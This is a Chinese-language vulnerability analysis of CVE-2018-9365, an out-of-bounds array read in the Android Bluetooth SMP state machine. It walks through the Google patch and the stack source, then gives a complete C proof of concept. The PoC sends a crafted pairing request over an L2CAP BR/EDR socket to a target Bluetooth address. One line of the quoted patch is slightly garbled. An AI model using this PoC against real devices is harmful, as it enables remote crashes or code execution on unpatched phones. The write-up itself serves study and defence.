【蓝牙】CVE-2018-9365 smp_sm_event数组越界访问导致RCE
补丁
https://android.googlesource.com/platform/system/bt/+/ae94a4c333417a1829030c4d87a58ab7f1401308
补丁描述修复了在smp_sm_event()
里的非预期,判断了p_cb->role
大于等于2则报错返回,我们猜测这里可能是字段p_cb->role
可以由连接者控制
DO NOT MERGE Fix unexpected behavior in smp_sm_event
Bug: 74121126
Test: manual
Change-Id: Ie5dd841d6461ad057c4ab572007f38c5446aba53
(cherry picked from commit 652798b2f2d6c90e0fc95c00ccfb91e2870b03d4)
diff --git a/stack/smp/smp_main.cc b/stack/smp/smp_main.cc
index 829a5d4..49e2ece 100644
--- a/stack/smp/smp_main.cc
+++ b/stack/smp/smp_main.cc
@@ -18,6 +18,7 @@
#include "bt_target.h"
+#include <cutils/log.h>
#include <string.h>
#include "smp_int.h"
@@ -954,6 +955,13 @@
uint8_t curr_state = p_cb->state;
tSMP_SM_TBL state_table;
uint8_t action, entry, i;
+
+ if (p_cb->role >= 2) {
+ SMP_TRACE_DEBUG("Invalid role: %d", 1. );
+ android_errorWriteLog(0x534e4554, "74121126");
+ return;
+ }
+
tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
SMP_TRACE_EVENT("main smp_sm_event");
我们从头开始分析,当SMP Channel有来自L2CAP的数据时,会调用smp_data_received()
进行数据的处理,这里我们的关注点在于cmd
为SMP_OPCODE_PAIRING_REQ 0x01
时的情况,当传入的是SMP_OPCODE_PAIRING_REQ
,会调用L2CA_GetBleConnRole()
/*******************************************************************************
*
* Function smp_data_received
*
* Description This function is called when data is received from L2CAP on
* SMP channel.
*
*
* Returns void
*
******************************************************************************/
static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
BT_HDR* p_buf) {
tSMP_CB* p_cb = &smp_cb;
uint8_t* p = (uint8_t*)(p_buf + 1) + p_buf->offset;
uint8_t cmd;
SMP_TRACE_EVENT("SMDBG l2c %s", __func__);
STREAM_TO_UINT8(cmd, p); // 取第一字节
/* sanity check */
if ((SMP_OPCODE_MAX < cmd) || (SMP_OPCODE_MIN > cmd)) {
SMP_TRACE_WARNING("Ignore received command with RESERVED code 0x%02x", cmd);
osi_free(p_buf);
return;
}
// #define SMP_OPCODE_PAIRING_REQ 0x01
// 当第一字节是0x01时,会进入第一个if分支
/* reject the pairing request if there is an on-going SMP pairing */
if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
if ((p_cb->state == SMP_STATE_IDLE) &&
(p_cb->br_state == SMP_BR_STATE_IDLE) &&
!(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
p_cb->role = L2CA_GetBleConnRole(bd_addr); //这里进行p_cb->role的赋值
p_cb->pairing_bda = bd_addr;
} else if (bd_addr != p_cb->pairing_bda) {
osi_free(p_buf);
smp_reject_unexpected_pairing_command(bd_addr);
return;
}
...
}
其中第二个参数类型RawAddress
的部分实现如下,可以看到其数据以及转换的方式
static_assert(sizeof(RawAddress) == 6, "RawAddress must be 6 bytes long!");
const RawAddress RawAddress::kAny{{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}};
const RawAddress RawAddress::kEmpty{{0x00, 0x00, 0x00, 0x00, 0x00, 0x00}};
RawAddress::RawAddress(const uint8_t (&addr)[6]) {
std::copy(addr, addr + kLength, address);
};
std::string RawAddress::ToString() const {
return base::StringPrintf("%02x:%02x:%02x:%02x:%02x:%02x", address[0],
address[1], address[2], address[3], address[4],
address[5]);
}
L2CA_GetBleConnRole()
会先给role
赋值为HCI_ROLE_UNKNOWN
,这个值是0xff
,之后进行遍历搜索,如果搜到了就将role
赋值为p_lcp->link_role
,如果没搜到就是初始化的值0xff
/* HCI role defenitions */
#define HCI_ROLE_MASTER 0x00
#define HCI_ROLE_SLAVE 0x01
#define HCI_ROLE_UNKNOWN 0xff
/*******************************************************************************
*
* Function L2CA_GetBleConnRole
*
* Description This function returns the connection role.
*
* Returns link role.
*
******************************************************************************/
uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
uint8_t role = HCI_ROLE_UNKNOWN;
tL2C_LCB* p_lcb;
p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
if (p_lcb != NULL) role = p_lcb->link_role;
return role;
}
回到smp_data_received()
,会调用到smp_sm_event()
/*******************************************************************************
*
* Function smp_data_received
*
* Description This function is called when data is received from L2CAP on
* SMP channel.
*
*
* Returns void
*
******************************************************************************/
static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
BT_HDR* p_buf) {
...
/* reject the pairing request if there is an on-going SMP pairing */
if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
if ((p_cb->state == SMP_STATE_IDLE) &&
(p_cb->br_state == SMP_BR_STATE_IDLE) &&
!(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
p_cb->role = L2CA_GetBleConnRole(bd_addr); // <-- 1
p_cb->pairing_bda = bd_addr;
}
...
if (bd_addr == p_cb->pairing_bda) {
...
p_cb->rcvd_cmd_code = cmd;
p_cb->rcvd_cmd_len = (uint8_t)p_buf->len;
smp_sm_event(p_cb, cmd, p); // <-- 2
}
osi_free(p_buf);
}
通过查看该函数,我们可以注意到,后续会直接使用该字段作为下标对数组进行取值操作
/*******************************************************************************
*
* Function smp_sm_event
*
* Description Handle events to the state machine. It looks up the entry
* in the smp_entry_table array.
* If it is a valid entry, it gets the state table. Set the next
* state, if not NULL state. Execute the action function according
* to the state table. If the state returned by action function is
* not NULL state, adjust the new state to the returned state. If
* (api_evt != MAX), call callback function.
*
* Returns void.
*
******************************************************************************/
void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, void* p_data) {
uint8_t curr_state = p_cb->state;
tSMP_SM_TBL state_table;
uint8_t action, entry, i;
tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
...
我们通过源码找到smp_entry_table
的定义,这个数组的长度只有2,结合前面的分析,smp_entry_table[p_cb->role]
的取值可能是smp_entry_table[0x00]
,smp_entry_table[0x01]
和smp_entry_table[0xff]
,所以这里就出现了一个越界访问的漏洞
static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map, smp_slave_entry_map};
谷歌给这个漏洞的评级是Critical RCE,所以它是可以进行利用的
CVE-2018-9365
A-74121126
RCE
Critical
6.0、6.0.1、7.0、7.1.1、7.1.2、8.0、8.1
那我们如何让L2CA_GetBleConnRole()
返回0xff
呢?
继续分析L2CA_GetBleConnRole()
,关键调用l2cu_find_lcb_by_bd_addr()
uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
uint8_t role = HCI_ROLE_UNKNOWN;
tL2C_LCB* p_lcb;
p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
if (p_lcb != NULL) role = p_lcb->link_role;
return role;
}
遍历l2cb.lcb_pool
来搜索是否有匹配的地址,匹配有两个条件,一个是TRANSPORT匹配,另一个是地址匹配,如果TRANSPORT不匹配,就有可能出现找不到然后返回NULL
的情况
/*******************************************************************************
*
* Function l2cu_find_lcb_by_bd_addr
*
* Description Look through all active LCBs for a match based on the
* remote BD address.
*
* Returns pointer to matched LCB, or NULL if no match
*
******************************************************************************/
tL2C_LCB* l2cu_find_lcb_by_bd_addr(const RawAddress& p_bd_addr,
tBT_TRANSPORT transport) {
int xx;
tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];
for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) {
if ((p_lcb->in_use) && p_lcb->transport == transport &&
(p_lcb->remote_bd_addr == p_bd_addr)) {
return (p_lcb);
}
}
/* If here, no match found */
return (NULL);
}
传进来的是BT_TRANSPORT_LE
,源码如下,所以我们可以使用BT_TRANSPORT_BR_EDR
模式来使l2cu_find_lcb_by_bd_addr()
返回NULL
,从而L2CA_GetBleConnRole()
就能返回0xff
#define BT_TRANSPORT_UNKNOWN 0x00
#define BT_TRANSPORT_BR_EDR 0x01
#define BT_TRANSPORT_LE 0x02
PoC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
// #include "avdt_defs.h"
#define BT_CID_SMP 0x0006
/* SMP command code */
#define SMP_OPCODE_PAIRING_REQ 0x01
// 按字节读取缓冲区
#define UINT32_TO_STREAM(p, u32) \
{ \
*(p)++ = (uint8_t)(u32); \
*(p)++ = (uint8_t)((u32) >> 8); \
*(p)++ = (uint8_t)((u32) >> 16); \
*(p)++ = (uint8_t)((u32) >> 24); \
}
#define UINT24_TO_STREAM(p, u24) \
{ \
*(p)++ = (uint8_t)(u24); \
*(p)++ = (uint8_t)((u24) >> 8); \
*(p)++ = (uint8_t)((u24) >> 16); \
}
#define UINT16_TO_STREAM(p, u16) \
{ \
*(p)++ = (uint8_t)(u16); \
*(p)++ = (uint8_t)((u16) >> 8); \
}
#define UINT8_TO_STREAM(p, u8) \
{ *(p)++ = (uint8_t)(u8); }
// 发送数据
void send_trigger_req(int sock_fd)
{
uint8_t buffer[100];
memset(buffer, 0, 100);
uint8_t *p = buffer;
uint8_t cmd = SMP_OPCODE_PAIRING_REQ;
*p++ = cmd;
memcpy(p, "\xff\xff\xff\xff\xff\xff", 6);
p += 6;
send(sock_fd, buffer, p - buffer, 0);
}
int main(int argc ,char* argv[])
{
int sock_fd, ret;
int try_count = 1;
char dest[18];
struct sockaddr_l2 local_l2_addr;
struct sockaddr_l2 remote_l2_addr;
struct bt_security btsec;
if(argc < 2)
{
printf("usage : sudo ./poc TARGET_ADDR\n");
return -1;
}
strncpy(dest, argv[1], 18);
while( try_count-- > 0 )
{
// 创建socket句柄
sock_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
if(sock_fd == -1)
{
perror("[*] socket create failed : ");
return -1;
}
// 初始化本地地址
memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
local_l2_addr.l2_family = AF_BLUETOOTH;
local_l2_addr.l2_cid = htobs(BT_CID_SMP); // 0x0006 Security Manager Protocol
local_l2_addr.l2_bdaddr_type = 0;
memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));
ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
if(ret == -1)
{
perror("[*] bind()");
goto out;
}
memset(&btsec, 0, sizeof(btsec));
btsec.level = BT_SECURITY_LOW;
if(setsockopt(sock_fd, SOL_BLUETOOTH, BT_SECURITY, &btsec, sizeof(btsec)) != 0)
{
perror("[*] setsockopt error");
goto out;
}
// l2cap_set_mtu(sock_fd, 1024, 1024);
memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
remote_l2_addr.l2_family = AF_BLUETOOTH;
remote_l2_addr.l2_bdaddr_type = 0;
remote_l2_addr.l2_cid = htobs(BT_CID_SMP); // 0x0006 Security Manager Protocol
//remote_l2_addr.l2_psm = htobs(6);
str2ba(dest, &remote_l2_addr.l2_bdaddr);
printf("connect %s\n", dest);
if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0)
{
perror("[*] can't connect");
goto out;
}
send_trigger_req(sock_fd);
//sleep(1);
}
out:
close(sock_fd);
return 0;
}
其中BT_CID_SMP
为0x0006
是用于指定Channel,之所以为0x0006
我是通过找核心找到的,大佬果然诚不我欺

给buffer加上"\xff\xff\xff\xff\xff\xff"
这一步,还是通过查找核心里面的配对请求包格式,发现整个包是七个字节,所以这里猜测是为了补全剩余字节

那么就剩最后一个问题:如何使用BT_TRANSPORT_BR_EDR
模式呢?
关于如何使用BR/EDR
,我查阅了一些资料

就在各种查阅资料的时候,我突然有了灵感,我现在不知道POC里哪里对应着BR/EDR
模式,但是目前最有可能的就是local_l2_addr.l2_bdaddr_type = 0;
,底层解析的时候,一定是.l2_bdaddr_type
的形式进行取值,搜索一下BlueZ的源码

搜索BDADDR_BREDR
,发现如下代码,所以,就是这个字段来控制BR/EDR
,POC里设置local_l2_addr.l2_bdaddr_type = 0;
,也就是BDADDR_BREDR
,到此就已经可以完全理解PoC了
/* BD Address type */
#define BDADDR_BREDR 0x00
#define BDADDR_LE_PUBLIC 0x01
#define BDADDR_LE_RANDOM 0x02
Reference
https://blog.quarkslab.com/a-story-about-three-bluetooth-vulnerabilities-in-android.html
https://paper.seebug.org/666/
Last updated